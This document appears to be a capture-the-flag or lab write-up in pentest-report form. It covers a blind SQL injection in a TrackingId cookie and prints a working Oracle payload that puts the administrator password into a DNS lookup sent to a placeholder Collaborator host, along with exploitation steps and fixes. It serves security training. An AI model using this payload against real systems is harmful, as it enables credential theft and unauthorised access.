Blind SQL injection with out-of-band data exfiltration(sqli)

Executive Summary

A **blind SQL injection vulnerability** was discovered in the application's analytics functionality, specifically in the `TrackingId` cookie. This allowed out-of-band data exfiltration using a crafted SQL payload. I successfully extracted the administrator's password using DNS-based data exfiltration via Burp Collaborator, and accessed the administrator's account.

Introduction

This test targeted the `TrackingId` cookie parameter, which is used for analytics tracking. It was found that user-controlled input in this cookie is included in a SQL query that executes asynchronously, revealing a blind SQL injection vector. The vulnerability was exploited using out-of-band (OAST) interactions to exfiltrate sensitive database information.

Methodology

1. **Intercepted HTTP requests** using Burp Suite Professional and located the `TrackingId` cookie in a request to the homepage.

2. **Injected a UNION-based SQL payload** combined with an XXE trick to perform out-of-band data exfiltration via Burp Collaborator.

3. **Poll Collaborator** to detect DNS or HTTP requests initiated by the vulnerable SQL query.

4. **Extracted the administrator password** from the subdomain in the DNS interaction.

5. **Used the leaked credentials** to log in as the administrator and solve the lab.

Vulnerability Findings

- **Type**: Blind SQL Injection (OAST data exfiltration)

- **Parameter**: `TrackingId` (HTTP Cookie)

- **Severity**: **Critical**

- **Location**: Homepage requests

Description:

The `TrackingId` cookie value was incorporated into a SQL query without proper input sanitization. By injecting a specially crafted payload, it was possible to extract data from the backend database using a **DNS lookup** triggered from the server via **XML entity expansion**.

Proof of Concept (PoC)

Payload (insert your Collaborator subdomain)

perl

CopyEdit

`TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http://'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-COLLABORATOR-ID/">+%25remote%3b]>'),'/l')+FROM+dual--`

1. Intercept the request and insert the above payload into the `TrackingId` cookie.
2. Monitor the Collaborator tab for DNS/HTTP interactions.
3. Retrieve the administrator's password from the interaction details.
4. Use the credentials to log in as the administrator.

Impact Assessment

- Full **authentication bypass** by extracting administrator credentials.
- Potential to exfiltrate entire database content.
- Possible lateral movement depending on server configuration.

Recommendations

1. Use parameterized queries or prepared statements to prevent SQL injection.
2. Do not trust cookie values validate and sanitize all user-controlled data.

3. Disable unnecessary XML entity processing on the database side (e.g., disable external entity resolution in Oracle XML functions).

4. Implement monitoring for DNS exfiltration and unusual outbound requests.

Conclusion

The application was vulnerable to a critical blind SQL injection that allows for out-of-band exfiltration of sensitive data. Through this vector, the attacker was able to retrieve the administrator's password and gain unauthorized access.